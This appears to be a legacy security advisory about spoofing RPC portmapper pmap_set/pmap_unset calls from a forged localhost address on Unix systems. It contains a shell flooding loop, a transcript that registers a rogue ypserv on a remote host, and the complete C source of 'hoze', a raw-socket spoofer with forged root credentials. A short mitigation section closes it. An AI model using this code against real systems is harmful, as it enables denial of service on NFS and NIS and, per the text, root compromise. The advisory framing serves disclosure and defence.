COMMAND
portmapper
SYSTEMS AFFECTED
Most unices
PROBLEM
As every RPC programs, the portmapper has his own remote call
procedure (using xdr notation for arguments). These one are:
-pmap_dump: this rpc procedure is called when you do a 'rpcinfo
-p server'.
-pmap_getport: this one is used when a (local || remote) program
wants to know on which port a special rpc program
is listening on (for example, when ypbind tries to
talk to ypserver, it asks first to the portmapper
on which port ypserv program is running).
-pmap_callit: this is the proxy call for the portmapper.... this
flaw has been widely used in order to steal nfs
handle, to bypass nfs host control access, or to
remotely retrieve files server by ypserv (ie.
passwd). Hopefully, Wietse' portmapper secured
these security problems by forbidding callit() to
rpc.mountd, rpc.nfsd, and yp* rpc programs.
-pmap_set: it is called when a rpc program wants to register
itself in the portmapper list (rpcinfo -p returns
this list).
-pmap_unset: same as above but it's used to unregister a rpc
program. Again, Wietse' portmapper fixed almost
all the holes related to pset/punset rpc calls.
However, due to a restriction in the protocol, all the security
problems cannot be fixed easily. When a rpc program (such as
rpc.mountd) wants to un/register itself on the portmapper list, it
sends an udp || tcp packet to the portmapper (port 111) using the
pmap_set or pmap_unset respectively. The portmapper checks the
validity of the call by determining if the rpc packet comes from
the localhost using a priviledged source port (between 512 and
1024 when -DCHECK_PORT option is used while compiling portmapper).
Unix authentification is not checked. The unfortunate problem
being that the typical Sun-based rpc library uses a function
called get_myaddress() to determine where it should send the
packet. This function returns the machine's local IP address,
when it really should return 127.0.0.1. This then causes problems
because a specially hacked portmap still cannot differentiate
between a spoofed or non-spoofed request.
RPC programs talks to the portmapper using RPC xdr calls. Thus,
when a RPC program (un)registers itself on the portmapper list,
it sends to portmapper port (111) an udp/tcp packet which contains
a xdr pmap_(un)set call. The portmapper accepts this call only if:
- source address comes from localhost
- source port is not priviledged (compiled with -DCHECK_PORT
flag)
- uses a valid unix auth (it doesn't check that but it could)
The problem is that the udp protocol is connectionless so easily
spoofable and unix authentification is weak (and also easily
spoofable). Therefore, crafting a pmap_set/unset udp packet with
source ip 0x7f000001 and source port between (512 and 1024), we
can (un)register any RPC programs on the remote host. This
problem is well known and can't be easily fixed except if you
block ports 111 and 32771 on your firewall or if you compile
Wietse's portmapper with -DLOOPBACK_SETUNSET flag (be careful,
librpc libraries and kernel needs also heavy modifications). It's
important to say that this problem is NOT a security hole but
rather a feature of the RPC protocol. Therefore, it has been
implemented by following the protocol restrictions. The potential
risks are from side of remote attacker:
- possibility to create a DoS on any rpc services provided by the
server
If the attacker unregisters rpc.mountd and rpc.nfsd programs
then he will prevent the server from exporting his files to
other systems. ypbind and ypserv can do even worst damages
(DoS).
- the portmapper can be flooded.. thus allocating memory on the
system (used for its pmap list). ex:
==================
#!/bin/sh
# The Viagra equivalent for script kiddies.
expr=/usr/bin/expr
if [ ! $1 ]
then
echo usage : $0 ip
exit 1
fi
i=0
while :
do
i=`$expr $i + 1`
echo hoze -u -a -n $i -e $i -p $i -t $i $1 777 111
hoze -u -a -n $i -e $i -p $i -t $i $1 777 111 2>&1 >/dev/null
done
==================
Local attacker:
- if the attacker is a local user, he can do even more evil things
Every rpc programs on the local system can be replaced by a
rogue program; this can lead to root compromise.
using hoze on an external box, he can unregister the ypbind
rpc program and then add his own rogue ypbind server.
Therefore, he can easily bind the sytem to an evil ypserver...
Even worse, setting a rogue ypserver could lead to a root
compromise on every hosts binded to this ypserver.
Of course, he definitively needs an access on the system in order
to bind his own ypserv program. For example, a rpc call that
would set up a ghost ypserver would be:
Mithrandir:~# rpcinfo -p www.pouet.org
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 749 mountd
100005 1 tcp 751 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
Mithrandir:~# hoze -u -a -n ypserv -e 2 -p 666 -t udp www.pouet.org 888 111
This command is equivalent to :
Mithrandir:~# hoze -u -a -n 0x186a4 -e 2 -p 0x29a -t 17 www.pouet.org 888 111
Mithrandir:/usr/local/src/hackp/portmaph/hoze# rpcinfo -p localhost
program vers proto port
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 749 mountd
100005 1 tcp 751 mountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs
100004 2 udp 666 ypserv
The ypserv program is only registered on the portmapper list..
there is no real ypserver process running on the remote server.
Exploit code:
/*
hoze.c : pmap_set/pmap_unset spoofer (portmapper v.2 and others probably).
[part of the rpc project, 981112]
To Unfy, the magician of Hoze.
ga <duncan@mygale.org>
*/
#include <string.h> // strcpy etc..
#include <
#include <stdlib.h> // for malloc, free, strtol
#include <unistd.h> // for getopt
#include <errno.h> // for perror
#include <netdb.h> // gethostbyname
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h> // for socket interface
#include <linux/socket.h>
#include <linux/ip.h> // for ip header struct (iphdr)
#include <linux/in.h> // for ip protocol (IPPROTO_*)
#define LEN_HDR_IP 20
#define LEN_HDR_UDP 8
#define LEN_HDR_RPC 24
#define LEN_AUTH_UNIX 84
struct ip_hdr // 20
{
unsigned char ver;
unsigned char tos;
unsigned short int length;
unsigned short int identification;
unsigned short int fragoff;
unsigned char ttl;
unsigned char protocol;
unsigned short int checksum;
unsigned long int sip;
unsigned long int dip;
};
struct udp_hdr // 8
{
unsigned short int sport;
unsigned short int dport;
unsigned short int length;
unsigned short int checksum;
};
struct rpc_hdr // 24
{ unsigned long xid;
unsigned long type_msg;
unsigned long version_rpc;
unsigned long prog_id;
unsigned long prog_ver;
unsigned long prog_proc;
};
struct pset_data // 16
{
unsigned long prog_id;
unsigned long prog_ver;
unsigned long prog_prot;
unsigned long prog_port;
};
struct punset_data
{
unsigned long prog_id; // 8
unsigned long prog_ver;
};
struct rpcall // 36
{
unsigned long prog_id;
char progname[32];
};
struct rpcall rpc_progs[17] =
{
{100000, "portmapper"},
{100001, "rstatd" },
{100002, "rusersd" },
{100003, "nfs" },
{100004, "ypserv" },
{100005, "mountd" },
{100007, "ypbind" },
{100009, "yppaswdd" },
{100011, "rquotad" },
{100012, "sprayd" },
{100017, "rexd" },
{100020, "llockmgr" },
{100021, "nlockmgr" },
{100024, "status" },
{100026, "bootparam" },
{100028, "ypupdated" },
{150001, "pcnfsd" }
};
unsigned long resolve_rpcid(char *progid)
{
int i;
for(i=0;i<(sizeof(rpc_progs)/sizeof(0[rpc_progs]));i++) {
if ((!strncmp(i[rpc_progs].progname, progid,strlen(i[rpc_progs].progname))))
return (i[rpc_progs].prog_id);
}
return(strtol(progid, (char **)NULL, 0));
}
unsigned long resolve_rpcproto(char *progproto)
{
if(!(strncmp(progproto,"udp",3))) return(IPPROTO_UDP);
if(!(strncmp(progproto,"tcp",3))) return(IPPROTO_TCP);
return(strtol(progproto, (char **)NULL, 0));
}
/* incoming headache */
void dump_packet(unsigned char *pkt, int lenpkt)
{
register int m;
register int n;
register unsigned char *data;
printf("(%d bytes)\n", lenpkt);
data=(u_char *)pkt;
for (m=0;m<lenpkt;m++) {
if( (!(m%2)) && (m!=0) ) putchar(' ');
if( (!(m%8)) && (m!=0) ) {
n=m;
for (n=8;n>0;n--) {
if ((*(data+m-n)>31) && (*(data+m-n)<127))
printf("%c", *(data+m-n));
else
putchar('.');
}
putchar('\n');
}
printf("%02x",*(data+m));
}
for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2)
;m++) putchar(' ');
for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m<lenpkt;m++) {
if ((*(data+m)>31) && (*(data+m)<127))
printf("%c", *(data+m));
else
putchar('.');
}
printf("\n\n");
}
/* make it raw, oh yes */
int make_raw_socket()
{
int s;
int opt=1;
if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) {
perror("socket");
return -1;
}
if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) {
perror("setsockopt IP_HDRINCL");
return -1;
}
return s;
}
unsigned long int resolve_host_name(char *hname)
{
unsigned long inetaddr;
struct hostent *h_ent;
if ((inetaddr=inet_addr(hname))==-1) {
if (!(h_ent=gethostbyname(hname))) {
fprintf(stderr, "can't resolve host %s\n", hname);
exit(1);
}
bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length);
}
return(inetaddr);
}
/* unix authentification.... the one who relies on this for security is dead */
void make_auth_unix(authptr)
unsigned long *authptr;
{
struct timeval tv;
gettimeofday(&tv, (struct timezone *) NULL);
*( authptr)=htonl(1); // auth unix
*(++authptr)=htonl(LEN_AUTH_UNIX-16); // length auth
*(++authptr)=htonl(tv.tv_sec); // local time
*(++authptr)=htonl(9); // length host
strcpy((char *)++authptr, "localhost"); // hostname
authptr+=(3); // len(host)%4
*( authptr)=htonl(0); // uid root
*(++authptr)=htonl(0); // gid root
*(++authptr)=htonl(9); // 9 gid grps
// group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid"
*(++authptr)=htonl(0) ;*(++authptr)=htonl(1) ;*(++authptr)=htonl(2);
*(++authptr)=htonl(3) ;*(++authptr)=htonl(4) ;*(++authptr)=htonl(6);
*(++authptr)=htonl(10);*(++authptr)=htonl(11);*(++authptr)=htonl(0);
}
void usage(char *progname)
{
fprintf(stderr, "help : %s -h\n", progname);
fprintf(stderr, "%s [-u] -a -n id -e ver -p port -t prot destip sport dport\n", progname);
fprintf(stderr, "%s [-u] -r -n id -e ver destip sport dport\n", progname);
exit(0);
}
void option(char *progname)
{
fprintf(stderr, "%s :\n", progname);
fprintf(stderr, " -i infos about %s\n", progname);
fprintf(stderr, " -s infos about system on which %s was tested\n"
,progname);
fprintf(stderr, " -h hummrph. Try again\n");
fprintf(stderr, " -u add rpc unix authentification\n");
fprintf(stderr, " -a add a program to portmapper list\n");
fprintf(stderr, " -r remove a program from portmapper list\n");
fprintf(stderr, " -n rpc program name or id ('-n?' gives a list)\n");
fprintf(stderr, " -e rpc program version\n");
fprintf(stderr, " -p rpc program port\n");
fprintf(stderr, " -t rpc program protocol (udp or tcp)\n");
exit(0);
}
main(int argc,char **argv)
{
int aflag, rflag, nflag, eflag, pflag, tflag, uflag=0;
unsigned long progid, progver, progport, progproto=0;
int lenpkt, raws, arg, i;
unsigned char *pkt;
unsigned long sip=ntohl(0x7f000001), dip;
unsigned short int sport, dport;
unsigned long *authp;
struct ip_hdr *iph;
struct udp_hdr *udph;
struct rpc_hdr *rpch;
struct pset_data *psetd;
struct punset_data *punsetd;
struct sockaddr_in s_in;
struct sockaddr *sa=(struct sockaddr*)&s_in;
aflag=rflag=nflag=eflag=pflag=tflag=uflag;
progid=progver=progport=progproto;
if ( (getuid()!=0) && (geteuid()!=0) ) {
fprintf(stderr, "don't even think about that.\n");
exit(1);
}
if (argc<2) usage(argv[0]);
while ((arg=getopt(argc, argv, "ishuarn:e:p:t:u")) !=EOF) {
switch(arg) {
case 'i':
fprintf(stderr, "portmapper set/unset spoofer - ");
fprintf(stderr, "coded by 'ga' <duncan@mygale.org>\n");
exit(0);
case 's':
fprintf(stderr, "Linux Mithrandir 2.0.0 (Slackware 3.1) i486 (dx2-66 8mb) - ");
fprintf(stderr, "gcc version 2.7.2\n");
exit(0);
case 'u':
uflag++;
break;
default:
case 'h':
option(argv[0]);
break; // NOTREACHED
case 'a':
lenpkt=sizeof(*psetd); // pmap_set length data
aflag++;
break;
case 'r':
if (!aflag) {
rflag++;
lenpkt=sizeof(*punsetd); // pmap_unset length data
}
break;
case 'n':
if ((char)*(optarg)=='?') {
printf("rpc prog id rpc prog name\n");
for(i=0;i<(sizeof(rpc_progs)/sizeof(0[rpc_progs]));i++)
printf("%i %s\n", i[rpc_progs].prog_id,
i[rpc_progs].progname);
exit(0);
}
progid=resolve_rpcid(optarg);
nflag++;
break;
case 'p':
progport=strtol(optarg, (char **)NULL, 0);
pflag++;
break;
case 'e':
progver=strtol(optarg, (char **)NULL, 0);
eflag++;
break;
case 't':
progproto=resolve_rpcproto(optarg);
tflag++;
break;
}
}
if ((argc-optind)==3) {
dip=resolve_host_name(argv[optind]);
sport= atoi(argv[optind+1]);
dport= atoi(argv[optind+2]);
}
else usage(argv[0]);
/*
portmapper may be compiled with -DCHECK_PORT flag; thus, the set/unset
will be rejected and discarded. Just give a small warning...
*/
if ((sport>=1024) || (sport<=512))
fprintf(stderr, "warning : 'sport' should be between 512 and 1024\n");
/* ugly */
if (!((aflag) && (nflag&eflag&pflag&pflag)))
if (!((rflag) && (nflag&eflag))) usage(argv[0]);
lenpkt+=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+(uflag?LEN_AUTH_UNIX:16);
if (!(pkt=malloc(lenpkt))) {
fprintf(stderr, "malloc() failed\n");
exit(1);
}
memset(pkt, 0, lenpkt);
iph= (struct ip_hdr*) (pkt);
udph= (struct udp_hdr*) (pkt+LEN_HDR_IP);
rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP);
authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC);
psetd= (struct pset_data*) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+
(uflag?LEN_AUTH_UNIX:16));
punsetd=(struct punset_data*)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+
(uflag?LEN_AUTH_UNIX:16));
/* this whole stuff should be in a proc but well... */
iph->ver=0x45;
iph->length=htons(lenpkt);
iph->identification=htons(0x6761);
iph->ttl=0xff;
iph->protocol=IPPROTO_UDP;
iph->checksum=htons(0);
iph->sip=sip;
iph->dip=dip;
udph->sport=htons(sport);
udph->dport=htons(dport);
udph->length=htons(lenpkt-LEN_HDR_IP);
udph->checksum=htons(0);
rpch->xid=htonl(0x67616761); // rpc packet's xid
rpch->type_msg=htonl(0); // request
rpch->version_rpc=htonl(2); // using portmapper v.2
rpch->prog_id=htonl(0x186a0); // rpc prog 100000 = portmapper
rpch->prog_ver=htonl(2); // v.2 again, redundant
rpch->prog_proc=htonl(aflag?1:2); // pmap_set || pmap_unset ?
/* pmap_set call */
if (aflag) {
psetd->prog_id =htonl(progid);
psetd->prog_ver =htonl(progver);
psetd->prog_prot=htonl(progproto);
psetd->prog_port=htonl(progport);
}
/* pmap_unset call */
else
{
punsetd->prog_id =htonl(progid);
punsetd->prog_ver =htonl(progver);
}
/* add unix authentification if requested */
if (uflag) make_auth_unix(authp);
if ((raws=make_raw_socket())==-1) {
free(pkt);
exit(1);
}
/* dump infos */
printf("%s:%i -> ", inet_ntoa(sip), sport);
printf("%s:%i\n" , inet_ntoa(dip), dport);
printf("progid %i, progver %i, progport %i, progproto %i\n",
progid, progver, progport, progproto);
dump_packet((char *)iph, lenpkt);
/* send our packet */
s_in.sin_family=AF_INET;
s_in.sin_port=htons(911); // whatever
bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr));
if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa,
sizeof(struct sockaddr)))==-1) {
perror("send");
close(raws);
free(pkt);
exit(1);
}
close(raws);
free(pkt);
}
SOLUTION
OpenBSD portmap and their libc long time ago fixed this:
RCS file: /cvs/src/usr.sbin/portmap/portmap.c,v
revision 1.3
date: 1996/06/29 19:03:50; author: deraadt; state: Exp; lines: +135 -64
multiple receivers, port checking. testing help from bitblt
As you can see, this isn't a new issue, since it was fixed in
OpenBSD more than two years ago. Other vendor systems (especially
statically linked programs) cannot fix this as easily since it
requires a change to get_myaddress() in libc.
You can:
- use a firewall/router that filters ports 111 _and_ 32771 and
configure it so that it rejects all packets coming from outside
with a source ip which is inside your network (note that it
doesn't protect you from an attack coming from your internal
network).
- compile your portmapper with -DLOOPBACK_SETUNSET flag.. notice
that it's damn hard to implement because you have to change
other things in your rpc services as well as in your kernel
config.